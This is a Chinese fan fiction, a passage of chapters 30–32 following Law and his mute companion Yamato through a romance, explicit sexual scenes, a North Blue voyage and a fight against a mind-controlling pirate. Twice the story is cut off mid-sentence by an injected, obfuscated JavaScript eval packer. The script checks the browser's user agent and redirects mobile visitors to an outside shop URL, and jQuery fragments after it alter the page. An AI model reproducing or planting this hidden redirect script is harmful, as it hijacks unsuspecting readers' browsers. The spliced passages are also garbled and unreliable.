罗眨眨眼,微不可见地笑了一下。 “喂,我的冰淇淋呢?”等大和走回身边,他还是明知故问到。 白发人匀了一口气,面有不善地比划到:‘送人了’。 “哈?你使什么性子啊?” ‘罗刚才跟别人靠太近了’,‘我不高兴’! ……他就知道!傻子也太好猜了。 “是那女人自己凑上来的,朝我闹什么脾气?” ‘我不管’。‘那是女人’,‘我不能动手’。 “怎么,那你要跟我动手吗?”他正打算提刀威胁,突然意识到两人的武器恰好都放在旅店没带出来,便又面带警告地瞪回去一眼。 ‘不’,‘我已经撒完气了’。从他的角度看去,一副格调中加了点性感打扮的人正抬手指向柱子上晕过去的杂碎——那废物脸上还淌着粉红色的冰淇凌液。 转而修长的手掌又在他眼前扇了扇,招回他的注意力。‘冰淇淋只有香草味的’,‘你吃吧’。 “……傻瓜。”这才吵几句哇——他刚要“起势”呢——脾气过于好了吧!“不,我就要草莓味的!” 他握起眼前晃悠的手掌,仔细一瞧,就像他想的那样:右手背上还是沾到了一块粉红色。 海贼垂眼笑了,低头一口将草莓味冰淇凌舔掉。随后才抬眼对着面有红晕的人一语双关道:“老子知道自己想要什么,想要的就得到手;不想要的谁都休想硬塞给我。” 说罢才又回头对赶来的酒吧侍者颐指气使:“去叫海兵来。‘嵌’在柱子上的是个海贼。” ——但愿能一路混到香波地群岛的杂碎起码有看得过眼的悬赏金。他今晚花钱够多了,不想再给酒吧支付修缮费。 于是便在一众围观和窃窃私语的人群面前,拉着旁人远离眼下一片狼藉。 - - “有件事我得提醒你,打杂的。” 吧台前点单付款完毕,七武海重新转向今晚以及一连3个月来每晚唯一的男伴。 “如果你想在一段关系里要求别人忠诚,自己得先有能做到的觉悟才行。” 旁人听他说话时,朱红色的眸子也一直注视着他。坚持装聋作哑或许已经使其习惯在听人说话时假装读对方的“唇语”。 虽说罗也的确记得,某人在他命令装聋作哑前,就喜欢这么盯着他看…… ——要不是刚才情报贩子说快到新年,他还差点忘掉:算起来“捡”到某人也快半年了。 就算刨除最开始相互熟悉1个月,维持不清不楚的关系也算不短的时间,他还从没得到过这人1句准话。尤其是大和不再开口之后,就更难有机会“听到”。 ‘我记得’。大和修长的手又伸到他面前,像是回应他所说的话。‘你说过是我的男朋友。’ “……哈?我什么时候讲过这种话!”七武海的表情差点又裂开,想不到这次是遭自己人“暗算”。 ‘你说过的’。介于红黄之间的眼睛一副很肯定的样子。哪怕罗再怎么仔细想,也不明白这是什么时候讲的“梦话”。 ‘你曾经说艾斯是我的‘前男友’’——‘他不是’——‘但这个意思不就是说罗是我的现男友’? “见鬼了,这是什么理解能力?”罗险将酒杯碰倒,揪住大和的衬衫领子远离桌边,顺便无视掉酒保和其他客人吃惊的表情。 “——我可是说正经的,没和你开玩笑。你到底怎么看待这段关系?” 仍旧遵守约定不能说话的人在近距离内有点伸展不开,无奈地瘪瘪眉毛,还是奋力比划:‘我也是认真的’,‘你对我来说是重要的船长也是唯一的恋人’! “你小子……”手掌松开了衣领。事先并未设想这么轻易得到确认,使他有种不真实感。 难道要怪对方太温柔?明明也可以多“钓一钓”他的胃口,就像几分钟之前可以为了“吃醋”再对他多生一会气。 ——真是一点技巧都没有的恋爱感……可事实上,他又能“老辣”到哪里去。 白发朱眸之人又在此时对他招招手——看来就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986929|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不张嘴,某人也还是话很多——成功引回到他的注意力之后,脸色绯红、目如星子的人又告诉他: ‘我很喜欢你’。他停下来,还是坚持表达到:‘我也想知道你是怎么想的’。 没有语气、语调、抑扬顿挫的手语表达,天然限制了情感的流露。 罗想象了一下,如果是大和用自己的声音讲出来,如此耿直的表达或许听起来会温柔不少。 不过光是配上丰富的表情,和明明有些难为情却还努力直视他的目光,多少也能弥补听不到声音的遗憾。 眸光闪动的眼睛半开半合,随着轻颤的睫毛还在不断眨动。 他害羞的时候尤其可爱,这是罗早就知道的事情,这种时候就算听不到他的言语,也能共情他的感受。 鬼使神差地,青年揽着他凑近耳畔,“想讲就讲出来吧。音乐这么吵,没人听到。” 可是脸旁的人摇了摇头。 无法开口之人的遗憾正来自于如果拥抱对方,就不能表达;若想用手语告诉对方自己的想法,便不可伸手拥抱其。 ——但这是大和已经答应下来的事情。答应就不可反悔。 罗将脑部后撤一些,用手轻轻抚摸他的面颊。他也很喜欢这双医生、船长、强者的手,故而跟着伸手捧住手掌,用自己的脸颊轻蹭温暖干燥的掌心。 虽然这是在外面,周围还有其他人——即便未必需要自作多情地以为都会注意他们——但他还是压抑不住自己的感情,想更多地亲近喜欢的人。 罗明白大和坚持不开口的理由,虽然内心一部分对此不爽,理智却让他感激。 ——已经3个月了!他没想到对方可以不借助任何外力,真地连续3个月不说话。 对于罗自身10余年的漫长等待而言,虽然3个月极其短暂,可有时就连自己也怀疑:这样苛刻是否真有必要? 计划已经开始了,他不允许任何纰漏,可是……不,没有“可是”,只有开展下去,并且每1步都要按计划实施。 他只是难免恐慌…… 会不会事实上他不该带任何人同行?虽说3亿解决1张通行证并不是问题,真正的问题也从来不在于花钱能够解决的事情,但他担心,即便付出了所有努力,还是会有力所不能及的意外。 如果只是他自己,哪怕身死也无所谓,但和他一起的人呢? “打杂的……”他想既然已经这样,就讲对方想听的吧;知道在这种情形下不会听到任何回答,但一时之间有种近乎自虐与施虐交混的快感逼得他必须说下去,“我喜欢你,听到没有?” ——这是怎么了,好像也没什么了不起的,有必要心口忽然这么涨吗?感觉堵得慌。 他知道自己的表情可能不算太温柔,抓着对方后背的手有些用力,又直视着亮晶晶的眸子说了一遍:“我喜欢你。” 沉默之人的眼神好比浩瀚星辰与永远波光粼粼的大海,让他明白,对方在听到他亲口承认时有多感动。 什么情况,简简单单1句话罢了……像个傻子似地。 昏暗的光线可能给了人不小胆量,大和还是选择将双手穿过罗的腰际,像条蛇捆绑了自己那样也捆住了猎物。 ——这是他的船长,也是他非常、非常喜欢的人。 没法再用语言传递了,他便控制鼻息主动凑近肖想之人,鼻尖、脸颊若即若离地蹭在一起,肌肤表面散发的温度温暖彼此,进而双唇湿润彼此。 他们就像其他在夜色庇护下寻欢作乐的男男女女,没有什么普通人或不普通之分,可能(一时难以对比)做地稍微还要过分一些。 罗亲手替他解开领带,出乎意料在露出的脖颈上咬了一小口。 不疼,反而让大和觉得可爱惨了,心跳霎时加速,难以启齿的想法让他不禁用了些力气抓住对方。 手里是弹性有力的肌肉,更露骨的言语从传出对方口中,摩擦鼓膜:“既然是‘唯一的’恋人,今后从后面……我可就直接进了。” 一起相处几个月,甚至于连月来天天住在一起,这话他几乎一听就明白。 体温不可控地升了起来,或许也有彼此影响的原因在其中。掌心微微薄汗,可即便是这样也还不想松开。 “出去。过后再来跟老板算账。”罗讲话的语气就好像打坏店里东西要赔钱的不是他们。 而更让人在意的是他发哑的嗓音,“回头再解决这块的麻烦。先找个地方给我舔出来……” 尚在细碎地吻他脸的人目光又闪动了一下,不知是为意识到“麻烦”是自己惹的,还是为他指意下流的话。 “——准确说,‘都’是你惹的麻烦。” 七武海攥住旁人下意识松开后,再次抬起来的手。不等对方表意,就在腕内先用犬齿轻轻啮磨起来,一面控制力道不会咬破肌肤下密布的血管,一面抬眼盯紧夜幕中呈充血琥珀的瞳孔。 他亦毫不掩饰眼里的渴求。 - - 路面湿滑的小巷深处,夜深人静的偏僻角落; 就连月亮也吝啬将微光送入; 只有不知哪里漏出来的水滴,碎了一滴、一滴…… “嗯……快了。再快一点……” 男人缓缓收紧指缝中缠绕的盈盈细丝,喉头随干渴吞咽而滑动。脖颈转动不安之间,后脑紧贴所靠墙面。 极轻的呜声近似哽咽,稍显破碎的气音在小范围内随后传开。短暂麻木感令他神思迟重,他下意识地用目光找寻唯有的另一双反光明眸。 直到视线相遇,似乎才能稍稍心安。 “你……你吞下去了?” 在被人温柔的注视中,罗升起一种微妙的需要感,刚扬起手,对方也就顺乎请求地握住他的手掌,进而起身坐来身边。 极深的夜里打手势或许也看不清,大和便没有回答,而是沉默地搂住每每宣泄过后会显露一丝脆弱之人。 让他就像初生婴孩一样蜷缩倚靠在自己肩头,埋入他亲手抚摸过的盈盈发丝。温暖的唇像每个人记忆中的母亲那样轻柔地落在额上。被吻的人莫名有种如心碎般的慰藉感。 虽然此刻围绕他的感受令人矛盾,但类似矛盾的安全感让他恰恰觉得似曾相识。 恍惚间听见四周有些不详的细声。 儿时志向学医的他曾经很讨厌这么不干不净的所在。(其实就连现在也一样谈不上喜欢。) 然而后来他曾在尸体堆躲闪求存,在鼠蚁横穿的角落苟且偷生,甚至主动混进垃圾场与盘踞在那为非作歹、专横跋扈的渣滓周旋——为的是加入他们中间……也就觉得或许“不干不净”应是自己命运的一部分。 ——当然,他很清楚,那里也有绝非渣滓的人。 就像此刻身边陪着他的人一样:干净、善良,被正义感指引时不时做些他看来“不可理喻”的事。 “呐……打杂的。”他刚出声就被自己惊着了,好像不应该打破此刻巷子里的宁静似的。忍住那声不必要的歉意,还是继续道:“我是想说,这段时日整理情报也差不多了,陆地上也待够了,你想不想‘休息’一阵子,我们回海上转转?” 稍等片刻,没有回答,他反应过来应该是等不到,便抬头离开所靠的肩膀,直视对方的眼眸。 “通行证还有1个半月才能拿到,这期间陪我去几个地方‘假日旅行’吧。” 大和安静地听他说完,明亮而柔和的眸光随微笑而变作弯月,朝前用鼻尖碰了他两下,好像在说‘好呀’~ 罗亦淡笑,无言也碰了碰恋人的脸。 良久他们找到了引人贪恋的双唇,又借着杳无人迹,忘情吻在一处。 31.piece 31-罗的真相与北海之行 就如船长一声“令”下,他们打包行李物品与3个月来情报收集的成果,扛上武器,暂时退掉72区的旅店房间,暂离香波地群岛。 临近节日,往来的商船舱位开始变得紧俏,不过他们还是幸运地在最早一班售罄前排队买到船票。无视掉检票时因被认出罗是七武海而引发的小小骚动,两人顺利安顿在即将最远航行至北海的客轮上。 这下子,海贼真地就像“普通人”一样旅行度假呢——也多亏世界政府地设立的奇葩制度。 一天又一天,客船驶离蔚蓝的伟大航道,横渡在船底海楼石抑制下波澜不惊的无风带,航行在大和从未涉足的北海。 每天早上从海上醒来,旅行的日子感觉亲切而自在。 可能就像罗说的,他们前期在岛上呆的实在太久了罢,到了海上反而有种“回归”的熟悉感; 又或许——大和将视线从窗外冰蓝的天空与海面收回来,垂眼打量近在眼前、甚至于近在身边的人——更主要的原因可能还在于此:同床之人尚在赖床熟睡,此刻如大猫似地紧贴在他手臂旁边。 或许因梦乡被天光所扰,男人眉头微蹙,又进而将脸部凑进大和的头与肩膀夹角中间,借助这一点触手可及的荫蔽,尝试抵御早起、继续睡懒觉。 大和忍着这过程里若有似无的痒,等旁人将面容埋进他的长发里,又敏锐地察觉到对方的睫毛或眉毛动了动,和挺直的鼻梁一样蹭到了他的下颌。 如果不是不忍心吓醒罗,他几乎要为这么可爱的早上跺床加尖叫出来——心口简直像要化开一样。 要是能此刻翻个身、再狠狠抱一下旁边的“大猫”就好了——能见识船长无意识下这么可爱的样子,别说装聋作哑了,让他挨揍也甘愿! 大和在床上两手合十,无声面露幸福。与此同时,1只“大爪子”又从身前搂住他,顺带还有1条腿也压上来。这下他彻底成了旁人怀中的巨形抱枕。 即便已经能预见接下来一段时间怕是要一动不动地“挺尸”,他还是露出心满意足的笑容……又睡着了。 直到被捏着鼻子再次叫醒。 因白日梦中差点窒息而吓到睁开眼睛,目之所及是一脸顽皮表情,却又在看见他醒之后立即变作从容和不羁。 大和一脑门的问号,只能在坐起来之后问床边的人:‘我打呼噜’? “没有啊。”醒后仍有两道标志性青黑眼圈的男人摇摇头。 ‘那你为什么要掐我鼻子’? “……”好像要破功的神色转瞬即逝,不过罗还是成功地冷着脸答道:“睡觉时还一脸傻笑,看着令人不爽——而且都几点了,还睡?快起来,早餐时段快结束了。” ——天地良心,他可是早就醒了,还不是为了能让罗一口气睡饱才多等了许久。 可这样的话在他傻眼的过程中还是没成功表达出来。因为看到: 背朝自己坐在床边的漂亮男人又在此时拣起耳环,先后戴在两侧耳垂,不经意地向他瞟来一眼,又令他那一点微不足道的“委屈”烟消云散。 代之以船长刚刚所形容的“一脸傻笑”。 “别愣着了,喂,帮我找一下衬衫。昨天脱到哪去了……” 说话之人正要起身,却因外力而被迫停下。“干嘛?” 罗低头看看像藤蔓一样转眼绕到胸口的的双臂,语气状似不耐烦,实际却并未躲闪,也没尝试掰开他人施加的束缚。 那双手就在眼下比划:‘暴力叫醒后的补偿’。两臂却还紧紧夹住比其肤色稍深的身躯。 “——啊?这还‘暴力’,不然我帮你理解下什么是‘真正的’暴力?” 言语威胁却在太过温柔的语调中失去应有效果,本该放开他的双手正在光洁的半身上下游走,好似“便宜”占不够。 一时摸到肚脐,一时又沿纹身周围戳到弹性十足的肌肉,甚至于碰到敏感之处,还极其过分地从背肌上传来明显的吮舐。 男人口中传出一声带着笑意的喟叹:“哈,‘狗男人’……我看你就是不怕挨饿,偏偏特点还有‘吃不饱’。” 某处欲求已然抬头。明知“时间不早”,可或许这就是常人所谓的度假吧,时间变得无足轻重,倒是有些事不做不快。 干脆转身按住唯一的旅伴、如野兽般“厮打”在一块,管它是否溜走了时间。 ‘你的衬衫在浴缸后面’。 见某人还有精力帮他回忆刚刚的问题,罗便知道以“对手”的体力,他完全不用稍微收着力气。 “啊,我想起来了。那你到浴缸那边去替我捡过来吧。” 状似真地松开手。该说“狗脑子”还是略嫌“单蠢”,对方竟在面露诧异后果真翻身下床。 “猎食者”的目光跟随艳丽的蓝绿发尾与高挑背影而去,不多时罗的脚步也无声地跟上。 直至面朝大海的水边将之按下:浴缸震颤、昨夜未来得及放掉的池水反复溅起水花。 晴朗冬日浮冰的北海、噤声之人回首时迷离的眼眸、乱溅的水声与一室环绕的气喘……此刻便无不是他的“君临天下”。 - - 客船持续航行半月之后,他们终于驶近预定海岛。 “快到了。”早午餐过后,远眺大海尽头平静的剪影,熟悉的景致与骤降的冰雨一齐唤起青年人记忆。 罗已经将一袭冬装披上,此刻为细雨打湿的大衣衣摆正与边缘的皮毛随风猎猎。 相比之下,站在他左手边之人尚且上半身着花呢外套,虽略显单薄,其人却并毫不觉得寒冷。 一方面或许因为恶魔果实能力附带的作用,另一方面或许也因为抵达从未到访的其他海域使大和兴奋不已。 ——而且北海是罗的故乡呢! 大和默默地想,却未注意到身边之人遥望远方时眼神未免凉薄。 “先回船舱准备好行李吧。”妖刀刀柄调转方向,青年随之转身打算离开甲板。“估计再过两个小时就靠岸了。” 手握无刺狼牙棒的青年这才注意到他态度有些冷淡。 奇怪的是刚才吃饭时罗还好好的,为什么快要靠岸了,突然变得低沉呢? 暂还不明白这趟旅途的真正涵义,大和忽然有些惴惴不安,可转念又一想,大约这也是他始终要跟上罗的意义——无论是在伟大航道、还是北海,无论晴天抑或这样阴郁的雨天——想更多地理解罗,当然也要一路守护罗。 行李并不多,只有2只手提箱,1箱衣物、1箱资料,大和差不多一手就能拿得过来。武器尚可别在腰上,只是这样就只能单手打一些简单的手势了。 不过下船之后罗除了嘱咐一句“先在城里落脚,等我打听一下附近的渔船情况,再搭船去别处。”便没再多说什么。 大和自觉地跟上,服从船长的指示就好。 落脚处港口城市虽然富裕繁荣,不知为何人与人之间却好像有着天然的隔阂。他们一路走来,无论老少妇孺,似乎都戒心极强,脸上也有散不开的焦躁或忧郁。 废了多少脚力,乃至罗不得不编出无法拒绝的理由,才成功撬开1个卖渔具杂货商店老板之口,打听到可能出海的机缘。 但他们还是不得以在岛上先“耽搁”1晚,谈妥搭船出海的生意后借宿在渔民的船上。 ——渔人甚至不肯将他们迎进家中,好像怕两个看起来英俊体面的年轻人会成为引狼入室的祸端。 ‘我们是不是被讨厌了’? 缩在渔船里,听着舱外凛冽的寒风,大和有些在意地睡不着。好在身旁之人还在就着渔火看书,他便招招手找对方聊天。 “别多想。我们是外来者,得不到信任很正常。” ‘可罗也是北海出身’。‘镇上的人只是排斥外人么’,‘你原先长大的地方也是这样’? “……和在哪没什么关系。”像是对大和提到的某些事不愿多讲,罗稍稍沉默了一会,还是决定回答:“北海诸岛屿和城镇、村庄的人不是都如此。” ‘那就好’。‘说到这’,‘我们这次会经过你的故乡吗’? ——罗的故乡会是什么样子呢?他也好想知道。 然而出乎意料的“啧”声却从旁人口中传出,夹杂在风声与船上不知何物“哐啷哐啷”的破败噪声中,虽不明显,却显出与镇上之人相似的焦躁。 大和一时不懂这是怎么了,虽然罗也常常表露严厉和不耐烦,但刚才对话开始时一切还都是好好地。 ——他就像以往多次一样,不明白自己又“讲”错了什么。 不过海贼船长并没有生气。 罗已然意识到手里这本书是读不下去了,转而合上书,也半是有意地吹灭油灯。光明一旦隐匿,黑夜便如倾倒而至。 他侧躺后捞过原就躺在近处的窄腰,如搂着天然带有恒温的棉被或枕头,面露一丝慰释。 思路倒像比刚才翻书时还清澈些,罗不作他想,又紧了紧环抱的手臂。感觉够暖和了,甚至足以忽视舱板坚硬而冰冷的触感,才对臂弯间的人道: “这座岛是有些古怪。大概10年前我来过,原本这里应该有家医院,不过今天看来那栋门诊大楼应该已经空置。没道理人口密集的市镇会没个像样的医院。我打听到似乎不久前医院曾被海贼入侵,从那之后医生和病患都逃了出来,整座城市的人也渐渐变成现在这样。 “不过实话说这家岛怎么样,和我们也没什么关系。人们都守口如瓶,也问不出什么来。明早我们就离开这里去别的岛了,不用管太多。” 一口气说完自己所了解的情况,罗便阖上双目,仿佛开始酝酿睡意。 本就在漆黑之中难以表述意思,见状,大和又更不知该如何追问了。 ——原来罗过去就到过此处,而且他其实也在今天调查了港口城市的古怪。 但是他不愿多说,大和也毫无办法。 ——总觉得罗是在回避什么。是关于这座城市吗?还是……关于过去的事呢? - - 关于港口城市的具体情况,他们倒是很快就知晓了。 翌日清晨,大和蹲在船头兴趣盎然地观察在水里手拉手恣意游泳、吃“早餐”的海獭,虽然听罗介绍了这是北海常见的生物,不过他还是第一次见。 渔民的妻子便在这时携带稚童将早餐送到船上来。 妇人温和地表达对于只能让他们在船上将就的歉意。躲在母亲身后的小孩虽也面带与年龄不符的忧愁,从一开始就怯生生地,却还是在白发青年笑着将所带糖果分给他时伸手接下。 渔人不多时也来到船上,发动渔船后,妻子和幼童便在岸上扬手送别。 或许被这幕简单温馨的画面所感,罗终究还是在启航后不久,主动开口打听岛上的情形,方得知: 原来2年前闯入城内的海贼库尔茨有着“心理医生”的称号,但在渔人的形容之中他就像魔鬼一样,会使用奇怪的“魔法”,将一定范围内的人瞬间变得绝望,连海军也拿他无法; 当年这名海贼首度入侵医院,就迫使多位医护、患者自杀而亡,他据守此处,又号召附近的不法之徒聚集起来壮大势力,对镇上打家劫舍; 附近海域的海军听闻情况,曾尝试剿灭以库尔茨为首的这帮恶徒,可海兵们一旦登岛便会失去斗志、甚至无法再离开岸边,均被这位魔鬼“心理医生”的喽啰所杀或俘虏,消息再也难以传出; 不但人们被他控制会“主动”防备外来人,不肯将真相说出来,就连附近海军基地的长官据说也已经被他精神腐蚀,会帮海贼撒谎隐瞒,还会纵容库尔茨继续作威作福。 “这也不容易做到吧?港口城市船来船往,总有外人到此,人们也可以任意乘船离开——就算是恶魔果实能力也总有个范围,难道离开之后还无法摆脱能力施加的精神控制?” “来做生意的商人自然不会被为难,不然镇上的财路断了,海贼也会没钱可赚。不过岛上的人既无法再离开,也不会让外人有机会知晓这里真正发生的事,就连旅馆都闭门谢客了,只会给特定的客商留专门的住所。普通人亦不敢轻易收留客人,外人是不会长期停留在岛上的。” “那他现在在哪里?”就连大和也听出渔民的话里有几处矛盾,然而罗还是接着话题问了下去。 “他已经成为城市事实上的长官,赢得选举成为市长,长期就住在市政厅,早已不再干海贼的营生了。” 罗听后似笑非笑地点点头。“听起来真正麻烦的还不仅是能力,他应该还算有脑子,知道光靠劫财还不够,获得权力才能有源源不断的财富。” “库尔茨大人是真正的心理医生,靠的不仅是智谋,还有对人性心思的深入了解。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022076|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呵。什么‘真正的’医生会害病人自杀,还把好好的人搞得精神错乱——所以呢?既然任何人都不能离开岛屿,还必须保密,现在刚离开岸边就告诉我们这些,是要让我们‘死’个明白?” 一时沉默,就在两名外来者警惕的打量中,渔人半张脸如痉挛般抽动片刻,不多时,这半张脸变作狞笑,恰在同时另外半张脸流露出惊恐与绝望。 “渔人”发出了不同声音的桀桀怪笑,“七武海,你还算明白人,但你蠢就蠢在本可平安无事地离开,偏要多问一嘴——我都‘好心好意’派人送你去米尼翁岛了,可你不领情呢。” “原来还有‘附身’这一招,真像‘魔鬼’似的。”罗亲眼见识到“心理医生”的能耐,面露讽笑,“别说‘好心’,你要是真有点做医生的自觉,就把捕鱼的先放了。你我两名医生可以当面‘切磋’一下。” “呵,你以为我会上你的当么?‘死亡外科医生’——有着这样名号的你想必也不是什么有良知的好医生——咱俩半斤八两,但实在论不着‘切磋’。 “眼下就是海上,你应该也吃过恶魔果实,只要掉下去就会没命,虽然带个同伴却只是会打手势、连求救都做不到的哑巴,不过我还是可以给你第二次机会:只要你肯为我效劳,我可以考虑放你们一条生路。 “奉劝你,七武海,别自寻死路。” 说着,渔人自己解开了厚厚的外套,露出来的竟有围了腰间密密麻麻一整排的雷.管。 罗一时未吭声。另一边,“哑巴”同伴也已经握着武器站了起来,只等船长一声令下。 变局只在转眼之间: “Room——”无形的薄膜张开,渔人也在同时点燃了火匣,“Scan,”罗找清了所有雷.管,微微一动手指,转眼间雷.管均已不见,而远处海面响起了剧烈爆炸声响。 作为替代,围在渔人腰间的变成了一串油光水滑的皮毛……还是会动的“皮毛”。 “……啊!”渔人一惊,挂在腰上的海獭也随之受惊险些掉下来,但动物还是依靠本能用爪子钩住了人类的衣物。 罗紧跟着还是一招“Shambles”,海獭的爪子松开,早在旁伺机的大和三步并作两步跳上前接住。“打杂的,顺便把人也按住,别让‘它’跳下去。” 没有回音,但跟班无疑是照做了。 大和一个扫腿放倒渔人身体后架腿压住,然而在手里还攥着1只滑溜溜的海獭的情况下,想集中注意力压制像受惊的动物般乱叫乱动的人还是有些困难。 好在罗替他做了选择,一掌击晕已经被海獭替换心灵的人类身体,转而对大和手举的“海獭”道:“这算是对你为虎作伥和欺骗我们的一点‘惩罚’。等到我砍了那个混账之后,会给你恢复正常。” “啊,难不成……我变成海獭了?!”渔人的声音从动物嘴里发出来,海面霎时响起一道嘹亮的男性尖叫,声音甚至可以传回岛上。 待到将船开回岸边,海贼们也已从“海獭”口中得到初步情报: 第一,魔鬼似的“心理医生”的确住在市政厅,罗与大和若想直接揪出这个坏蛋,直接杀入市政厅就行。 第二,关于对手的能力,目前已知他可以控制城市中所有人的精神状态,甚至能潜入人们的精神世界监控城内外的一切——因此他早早就已得知七武海登岛,很可能还有意将罗引到他所选定的渔民这里——渔民亦是被控制的普通人之一。 第三,对手应该只能控制人类的精神,证据就是罗将渔人和海獭的心灵交换后,“心理医生”的神识就从渔人身上消失不见了,且也没有随渔人的心灵一起转移到海獭身上。 问题是他们现在目前还不清楚,这个可能是吃了什么能掌控人类精神的恶魔果实能力者会如何对付他们。既然罗与大和登岛之后虽然受到监视,却还没有任何被操控的迹象,说明八成这样的超人系能力至少需要使用者和目标人类实际接触后,才能起到真正的效果。 罗便大胆猜测有可能需要直接碰触,或通过言语交流和暗示,再就是最多用到电流刺激——因为据他所知,除了药物之外,临床心理乃至精神病治疗的手段大抵就是这些。 “不过我从来没有系统学过精神疾病的医疗方法,所以也没法预测他可能的手段。要不要干,这次就交给你来做决定吧,打杂的。” 大和闻言便有些惊讶,不过转念一想也就明白:他家船长又开始傲娇了。 分明罗自己也有些在意岛上的情况,还把船开了回来,偏要装作不想多管的样子。 ‘那就干吧’。大和倒是不曾掩盖自己对岛上民众的担忧。‘你也说了真正的好医生是不会故意让人生病或者害死人的’,‘让我们去揍飞这个坏医生’。 “有一说一:那混帐就没资格当医生。”罗进一步纠正,也让大和明白他从一开始就想好好教训一下岛上的海贼。 大和为了比划手语方便,正将海獭夹在腋下,此时指了指“它”,问到:‘要不要先把人送回家里去’? “先等等,让他在船上看着自己的‘身体’别乱跑就行。” 罗进而分析到:“如果那混帐有办法控制岛上其他人,我们接下来的行动还是尽可能避人眼目。现在只能趁他在捕鱼当家的身心调换后还不知道我们去了哪,抓紧时间潜入市政厅。最好擒贼先擒王,将他一把制伏,这样麻烦最小。” ‘有道理’。‘不过他的能力还是有些棘手’。‘如果说动物不会被他控制精神’,‘要不我试试用动物形态去找他’?‘罗可以先在旁边看情况再出手’。 “你小子现在越来越嚣张了。敢把我晾在一边,是觉得我会对付不了他吗?”罗扛着长刀上前几步,走近了却放下刀,转用左手捏住对方软和的脸蛋,好像“小惩以戒”那样。 “还有,”他又道,“你就尽量先不用果实能力,不光是这次,进入‘新世界’之后也是。晚些再暴露能力,降低引起关注的可能性。即使目前已经有总部海军知道你,不过好在范围有限…… “你是我的‘必杀技’,不到时候,先隐藏实力。” 说不清为什么,听到罗提及“必杀技”的时候,大和有种莫名的骄傲感,好像整个人都要飘起来了似的。不过他还是定了定神,小幅度地点点头(主要是脸肉还被捏着),答: ‘明白了’。‘我听你的’。 32.piece 32-罗的真相与力量觉醒 就算不在强者林立的伟大航道,或许也不该轻视遇到的敌人。 两名外来者谨慎避开一路走来遇见的市民,好在时候尚早,街上还不算太热闹,来往的人也少。 进入市政厅后困难增加起来,由于地理位置集中,偶尔实在躲不过去了,也只好“不好意思”地从后方撂倒,再拖进角落任其自行从昏迷中苏醒。 大约不到1个钟头,两人就锁定了目标位置。为免“话多者必死”定律先在己方上演,罗上来就毫不讲武德地直接偷袭。薄膜似的手术室空间展开,远远地直接将还坐在市长办公室的秃顶男人切成五马分尸状。 然而看似他们抢先一着,这还只是刚刚开始。 如罗预先所料,海贼库尔茨一旦明白遭受袭击却不致丧命,“脑袋”就开始无差别使用“话疗”,也即利用一些看似有煽动性或惑人的词眼语句,虽并无实际具体意义甚至不足以推敲,却能左右人的情绪;“手”也拼命爬向音箱,不知道是不是想播放些莫名其妙的录音,或将有助于暗示。 好在他们早有准备,从“脑袋”一张嘴开始就向耳朵中塞入棉絮,罗打着手势,大和就点点头,又一棒轰飞了心怀不轨的“手” ——反正两人本就可以手语交流,根本不需要依赖听觉。 只不过这也为他们埋下了一点“祸根”。 - - 当附近的打手扑上来,两人自当见一个、揍一个,全然不在话下。 不过还是要提防库尔茨趁机恢复身体逃跑、或搞什么其他花招,两人便趁暂且会合时商量决定,由罗专心对付“心理医生”,大和则一夫当关替他拦下所有试图搅入战局的杂兵。 市长办公室就算再宽敞,没一会也折腾不下了,况且两名入侵者进攻时的招式动静都不算小。 很快,1人提刀追着“七零八落”的对手跑上屋顶,另1人则继续应对“人海战术”,将从别处涌入、不断递补的杂兵直接击出门外,甚至撞破窗户掉进市政厅的院落。楼下已有越来越多的人或主动、或被动受操控聚了过来。 ——对于后方的大和而言,他只需站在门口1个接1个地迎战对手就行。基本上没什么难度,无论对手歪瓜裂枣还是五大三粗、招式花哨还是简单粗暴,他都用最直接的方式抵挡之后,揍飞了事。 车轮战对他而言无非就是消耗体力,但他目前最不缺的就是体力。平均最多5秒1个对手,这样高强度的抵挡至少可以坚持到1个钟头,在此期间只要罗在屋顶制伏库尔茨,一切就结束了。 然而意外对他而言则在于渐渐涌入的人,似乎不再是明显的打手…… 正专心于重复防御与攻击姿势,大和突然发觉自己解决对手的速度居然变快了,即便他并未加大力度或调整速度。 稍加注意,他便判断出眼下再递补到面前的对手之中,除了原本的海贼、混混,可能已出现城市中各行各业的普通人,他们往往面无表情、两眼无神,简直就像行尸走肉一样,除了用蛮力突袭,便无甚可圈可点的章法,难怪打起来毫无难度。 原来库尔茨已经操控镇上的普通人来当“人肉沙包”了! ——这反而叫大和不禁迟疑:是否还能无差别地“轰飞”这些人。 且不说普通人能否承受他的攻击,会不会就此摔出去丧命,便是挨他一棒也够受的,何况他们是被精神控制了,并非有意攻击他。 这么想着,他的动作便稍稍减慢下来;停是不能停了,但至少收着力量,哪怕有时攻击力度不够反叫“对手”还有余力爬起来继续反扑。 如此一来,挤在他面前的人反而越聚越多,各个伸长了手臂向他挥来,有时带着明显家用的菜刀、擀面杖、锅碗瓢盆等,甚至还有词典和钢笔这种匪夷所思的“武器”。 他被笔尖扎到过几下,不小心也会被杂七杂八的东西砸到,疼虽疼,有时还会带出血迹,好在都不致命。 他本以为自己吃点小亏就算了,至少可以降低普通民众的损伤,但也焦急地想罗能不能快点搞定“心理医生”。 不料仁慈就在转眼间酿成大漏洞,当看到居然有小孩子钻进来的时候,深感离谱和愤恨之余,大和暂停攻防。 稍慢了一步,便将原本就灵活不易逮住的小孩放入“阵地”。 